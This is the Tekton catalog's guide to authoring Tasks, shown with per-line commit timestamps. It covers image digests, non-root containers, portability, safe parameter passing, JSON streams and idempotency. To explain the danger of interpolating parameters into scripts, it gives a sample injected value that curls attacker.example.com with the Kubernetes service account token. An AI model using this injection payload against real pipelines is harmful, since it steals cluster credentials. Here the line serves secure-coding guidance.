2020-04-22 17:40:56 +00:00
|
|
|
# Task Authoring Recommendations
|
2020-06-09 16:30:34 +00:00
|
|
|
|
2020-04-22 17:40:56 +00:00
|
|
|
This is a collection of recommendations for developers authoring Tasks, with
|
|
|
|
justifications for why they are recommended.
|
|
|
|
|
|
|
|
These are just _recommendations_, and there may be situations where the
|
|
|
|
recommendation cannot or should not be followed.
|
|
|
|
|
|
|
|
This is a living document. Recommendations may be added in the future, or
|
|
|
|
existing recommendations may change or be clarified.
|
|
|
|
|
|
|
|
If you have a question or would like to add a recommendation, please [file an
|
|
|
|
issue](https://github.com/tektoncd/catalog/issues/new).
|
|
|
|
|
|
|
|
## Reference Images by Digest
|
|
|
|
|
|
|
|
Where possible, an image used in a step should be referenced by digest (i.e.,
|
|
|
|
`busybox@sha256:abcde...`) instead of by tag (`busybox:latest`). This ties the
|
|
|
|
Task to the exact specific version of the image, and prevents unexpected
|
|
|
|
changes.
|
|
|
|
|
|
|
|
Referencing by tag (`:latest` or `:v1.2.3`) means that an owner of that image
|
|
|
|
can push a new image to that tag, and all Tasks that reference the image by
|
|
|
|
that tag will start using it immediately. This can lead to unexpected Task
|
|
|
|
failures, or silent behavior changes, including security-sensitive changes.
|
2020-06-09 16:30:34 +00:00
|
|
|
|
|
|
|
## Run as non root and non privileged
|
|
|
|
|
|
|
|
One of the security best practices of containers is to run them as a
|
|
|
|
non-root user. Usually this is achieved by having a user defined in
|
|
|
|
your image and having it referred in your image configuration. You can
|
|
|
|
see
|
|
|
|
[here](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)
|
|
|
|
for details on best practice with `Dockerfile`s.
|
|
|
|
|
|
|
|
You should also avoid as much as possible to run containers as
|
|
|
|
[privileged](https://stackoverflow.com/questions/36425230/privileged-containers-and-capabilities).
|
|
|
|
|
|
|
|
> The --privileged flag gives all capabilities to the container, and
|
|
|
|
> it also lifts all the limitations enforced by the device cgroup
|
|
|
|
> controller. In other words, the container can then do almost
|
|
|
|
> everything that the host can do. This flag exists to allow special
|
|
|
|
> use-cases, like running Docker within Docker.
|
|
|
|
|
|
|
|
On the catalog, this means that you should, where possible:
|
|
|
|
- **ensure the image you are using can run as non-root** ; any step
|
|
|
|
that do not specify explicitly that it needs to be run as root
|
|
|
|
should work when running as a user.
|
|
|
|
- if your step really need to be run as root, specify it in the task
|
|
|
|
using
|
|
|
|
[`securityContext`](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/),
|
|
|
|
same applies for `privileged`.
|
|
|
|
|
|
|
|
```yaml
|
|
|
|
# […]
|
|
|
|
steps:
|
|
|
|
- name: foo
|
|
|
|
image: myimage
|
|
|
|
securityContext:
|
|
|
|
runAsUser: 0 # root uid == 0
|
|
|
|
privileged: true
|
|
|
|
```
|
2021-01-25 22:17:29 +00:00
|
|
|
|
2021-04-27 14:59:14 +00:00
|
|
|
## Be as portable and compatible as possible
|
|
|
|
|
|
|
|
Make use of recent Kubernetes and Tekton features only when a user
|
|
|
|
will expect it from the task's purpose. Your task may be of great use
|
|
|
|
to users that have good reason not to upgrade right now. Your task
|
|
|
|
should include the `tekton.dev/pipelines.minVersion`.
|
|
|
|
|
2021-01-25 22:18:08 +00:00
|
|
|
## Remember that there are other languages than sh and bash
|
|
|
|
|
|
|
|
Yes, sh and bash are DSLs for running processes, but sometimes there
|
|
|
|
are other languages more suited for what you're trying to do. Tekton
|
|
|
|
Pipelines' main positive attribute is the ability to have the right
|
2021-02-18 06:39:03 +00:00
|
|
|
tool available for every step, including the _interpreter_.
|
2021-01-25 22:18:08 +00:00
|
|
|
Use python or another scripting languages when that is warranted.
|
|
|
|
|
|
|
|
A python example:
|
|
|
|
|
|
|
|
```
|
|
|
|
steps:
|
|
|
|
- name: foo
|
|
|
|
image: python:alpine
|
|
|
|
script: |
|
|
|
|
#!/bin/env python
|
|
|
|
import os
|
|
|
|
print(os.getenv('PARAM_ONE'))
|
|
|
|
```
|
|
|
|
|
|
|
|
## Don't use interpolation in scripts or string arguments
|
2021-01-25 22:17:29 +00:00
|
|
|
|
|
|
|
Using `$(tekton.task)` interpolation in the `script` or as a `sh -c`
|
|
|
|
string is extremely fragile. The interpolation done by tekton is not
|
|
|
|
aware of the context in which the interpolation happens. A space, a
|
|
|
|
quote sign, a backslash or newline could easily thwart an otherwise
|
|
|
|
beautiful script.
|
|
|
|
|
|
|
|
```
|
|
|
|
steps:
|
|
|
|
- name: foo
|
|
|
|
image: myimage
|
|
|
|
script: |
|
|
|
|
echo $(params.one)
|
|
|
|
```
|
|
|
|
|
2021-03-09 14:31:01 +00:00
|
|
|
If `params.one` happens to contain a quote, then the resulting shell
|
2021-01-25 22:17:29 +00:00
|
|
|
script might look like this:
|
|
|
|
|
|
|
|
```
|
|
|
|
echo '
|
|
|
|
```
|
|
|
|
|
2021-01-25 22:18:08 +00:00
|
|
|
This script is not valid, and the task will fail:
|
|
|
|
|
|
|
|
```
|
|
|
|
sh: 1: Syntax error: Unterminated quoted string
|
|
|
|
```
|
|
|
|
|
|
|
|
This goes for standard shell scripts, python scripts or any other
|
|
|
|
script where tekton ends up interpolating variables. Different
|
|
|
|
languages have different quoting rules in different contexts, but a
|
|
|
|
maliciously formed parameter would be able to break out of any
|
|
|
|
quoting.
|
|
|
|
|
|
|
|
No amount of escaping will be air-tight. Even python `"""` strings.
|
|
|
|
A maliciously formed parameter just needs to include another `"""` to
|
|
|
|
close the string:
|
|
|
|
|
|
|
|
```
|
|
|
|
script: |
|
|
|
|
#!/bin/env python
|
|
|
|
value = """$(params.one)"""
|
|
|
|
print(value)
|
|
|
|
```
|
|
|
|
|
|
|
|
If the parameter has the value `"""` followed by a line break, then
|
|
|
|
the anything after the parameter's newline will be interpreted as
|
|
|
|
**python code**, probably causing the script to fail, or worse.
|
2021-01-25 22:17:29 +00:00
|
|
|
|
|
|
|
Instead, use environment variables or arguments, which are not
|
2021-01-25 22:18:08 +00:00
|
|
|
interpolated into the script source code:
|
2021-01-25 22:17:29 +00:00
|
|
|
|
|
|
|
```
|
|
|
|
steps:
|
|
|
|
- name: foo
|
|
|
|
image: myimage
|
|
|
|
env:
|
|
|
|
- name: PARAM_ONE
|
|
|
|
value: $(params.one)
|
2021-01-25 22:18:08 +00:00
|
|
|
args:
|
|
|
|
- $(params.one)
|
2021-01-25 22:17:29 +00:00
|
|
|
script: |
|
|
|
|
echo "$PARAM_ONE"
|
2021-01-25 22:18:08 +00:00
|
|
|
echo "$1"
|
2021-01-25 22:17:29 +00:00
|
|
|
```
|
|
|
|
|
2021-01-25 22:18:08 +00:00
|
|
|
The script will now correctly print out the value of params.one,
|
|
|
|
regardless of what it contains; both environment variables and
|
|
|
|
arguments.
|
2021-01-25 22:17:29 +00:00
|
|
|
|
2021-01-25 22:18:08 +00:00
|
|
|
It is worth mentioning that an interpolated script (i.e. one that has
|
|
|
|
`$(params.values)` in it) is a security problem. If an attacker is
|
|
|
|
able to send in a parameter value that looks something like `$(curl -s
|
|
|
|
http://attacker.example.com/?value=$(cat
|
|
|
|
/var/run/secrets/kubernetes.io/serviceaccount/token))`, then the
|
|
|
|
attacker would be able to exfiltrate the service account token for the
|
|
|
|
TaskRun.
|
2021-01-25 22:17:29 +00:00
|
|
|
|
|
|
|
## Extract task code (scripts) to their own files
|
|
|
|
|
|
|
|
As a task grows in complexity, it becomes harder and harder to
|
|
|
|
maintain it in-line. Because you have already avoided interpolation
|
|
|
|
in the script, there is no real need for the script to be in-lined
|
|
|
|
into the Task.
|
|
|
|
|
2021-07-22 20:50:50 +00:00
|
|
|
As with all configuration and code that you write as part of software
|
|
|
|
development, it is important to treat the Tasks and embedded scripts
|
|
|
|
with the same care you use for your other code.
|
|
|
|
|
|
|
|
Scripts should be maintained such that they can be versioned and tested;
|
|
|
|
therefore as a script grows beyond a few simple lines, you should store
|
|
|
|
the script in version control, and use tests and code review to maintain
|
|
|
|
it over time. At this point you may want to consider switching from a
|
|
|
|
language which does not naturally support tasking, such as bash, to one
|
|
|
|
that does, such as Python.
|
|
|
|
|
|
|
|
At this point, the best option we have to offer is to build and publish
|
|
|
|
an image which contains your tested, versioned script, and use that image
|
|
|
|
from within your Task. This may seem like a big ask, but another way of
|
|
|
|
looking at it is that your script has graduated from just being a script
|
|
|
|
to being a tool.
|
2021-01-25 22:17:29 +00:00
|
|
|
|
|
|
|
## Test and verify your task code
|
|
|
|
|
|
|
|
Use sound engineering principles when building Tekton Task code.
|
|
|
|
Since the code can reside in external files, it's possible to split
|
|
|
|
them up and have test harnesses that test various code paths. Have a
|
|
|
|
build system that runs the task's test harness whenever you make
|
|
|
|
changes to them before you commit, and of course a Tekton Pipeline to
|
|
|
|
verify that your tests are passing before merging.
|
|
|
|
|
|
|
|
## Create idempotent tasks and pipelines
|
|
|
|
|
|
|
|
When you design tasks and pipelines, they should, as much as possible
|
|
|
|
be written in an idempotent manner. Idempotency means that it is safe
|
|
|
|
to re-execute, and this can be used to your advantage. If designed
|
|
|
|
properly, it can also allow you to skip work that has already happened
|
|
|
|
(see level-based approach).
|
|
|
|
|
|
|
|
## Clearly define the format of input parameters and results
|
|
|
|
|
|
|
|
Specify the format when defining parameters and results, even down to
|
|
|
|
trailing whitespace. Specify the intention behind them. For
|
|
|
|
parameters, indicate if there are other tasks that might have an output
|
|
|
|
that matches. For a result, indicate where you might use the result.
|
|
|
|
|
|
|
|
This is especially important when building tasks that may be composed
|
|
|
|
in different ways, and where the results of some tasks are intended to
|
|
|
|
be the parameters to other tasks.
|
|
|
|
|
|
|
|
## Use composable parameter formats
|
|
|
|
|
2021-03-09 14:31:01 +00:00
|
|
|
Especially when passing lists of items between tasks (i.e. a list of
|
2021-01-25 22:17:29 +00:00
|
|
|
items from one task, designed to be the parameter of another task),
|
|
|
|
avoid using structured strings, tab-separated values, or even
|
|
|
|
line-separated values. Such formats are prone to error due to simple
|
|
|
|
whitespace mistakes, or a rogue value that contains a hard-to-detect
|
|
|
|
newline.
|
|
|
|
|
|
|
|
Instead use a more structured data format like e.g. a json stream or
|
|
|
|
more formally [JSON Text Sequences RFC
|
|
|
|
7464](https://tools.ietf.org/html/rfc7464), and use jq to process the
|
|
|
|
different _records_ that are passed in to a task. This ensures you
|
|
|
|
can pass almost any conceivable type of data without any escaping
|
|
|
|
issues.
|
|
|
|
|
|
|
|
```
|
|
|
|
# task foo
|
|
|
|
steps:
|
|
|
|
- name: foo
|
|
|
|
image: myimage
|
|
|
|
script: |
|
|
|
|
echo '{"value": 123}' >> $(results.data.path)
|
|
|
|
|
|
|
|
# task other
|
|
|
|
steps:
|
|
|
|
- name: bar
|
|
|
|
image: myimage
|
|
|
|
script: |
|
|
|
|
printf '{"size": "large"}' >> $(results.data.path)
|
|
|
|
printf '{"size": "small", "fake": true}' >> $(results.data.path)
|
|
|
|
|
|
|
|
# pipeline
|
|
|
|
- name: example
|
|
|
|
taskRef:
|
|
|
|
kind: Task
|
|
|
|
name: pipeline
|
|
|
|
params:
|
|
|
|
- name: data
|
|
|
|
value: |
|
|
|
|
$(tasks.foo.results.data)
|
|
|
|
$(tasks.bar.results.data)
|
|
|
|
```
|
|
|
|
|
|
|
|
Here, the "foo" and "bar" task results and the "data" parameter of the
|
|
|
|
pipeline have been defined to be _of type JSON Stream_, allowing the
|
|
|
|
pipeline author to construct the pipeline parameter value directly by
|
2021-03-09 14:31:01 +00:00
|
|
|
concatenating the results. This construct does not fall apart when
|
2021-01-25 22:17:29 +00:00
|
|
|
the data is on one line or split on multiple lines.
|
|
|
|
|
|
|
|
## Use "level-based" approach to your advantage
|
|
|
|
|
|
|
|
If you have a task that creates another pipelinerun in order to
|
|
|
|
complete its work, you should leverage the fact that `kubectl apply`
|
|
|
|
has "create-or-update" semantics. If you _apply_ a pipelinerun that
|
|
|
|
already exists, it means that you don't need to rerun the pipeline.
|
|
|
|
|
|
|
|
For example, if you have a task that takes a commit as a parameter,
|
|
|
|
say `abc123def`, and its job is to create a pipelinerun with that
|
|
|
|
commit as a parameter (and the other pipeline is idempotent, and does
|
|
|
|
not need to be re-run for the same commit), then you could _apply_ the
|
|
|
|
pipelinerun `run-abc123def`. The first time, `run-abc123def` won't
|
|
|
|
exist, and a PipelineRun will be created, running the pipeline. If,
|
|
|
|
at a later point in time, the task happens to be run with the same
|
|
|
|
commit, it will again _apply_ the pipelinerun `run-abc123def`. Since
|
|
|
|
it already exists, nothing happens.
|
|
|
|
|
|
|
|
This technique can be used to "short circuit" work when it is not
|
|
|
|
necessary to _re-run_.
|
2021-06-30 13:53:50 +00:00
|
|
|
|
|
|
|
## Provide "tekton.dev/platforms" annotation
|
|
|
|
|
|
|
|
`tekton.dev/platforms` annotation indicates on which platforms (for
|
|
|
|
instance, "linux/amd64,linux/arm64" or "windows/amd64") resource can
|
|
|
|
be run.
|
|
|
|
The most reliable option to verify the platform list is to run the
|
|
|
|
e2e tests provided with the resource. Minimal requirement is to use
|
|
|
|
the container image, which has support for corresponding platform.
|
|
|
|
|
|
|
|
Add `Platforms` section into the README.md of the corresponding resource.
|
|
|
|
If running of the resource on specific platform requires to use another
|
|
|
|
image or do other customization, it should be also mentioned in the section.
|
|
|
|
|
|
|
|
If you don't know, which platforms to specify, good start is to use
|
|
|
|
"linux/amd64", as it is most popular platform and most likely the tests,
|
|
|
|
you've done, were on top of it.
|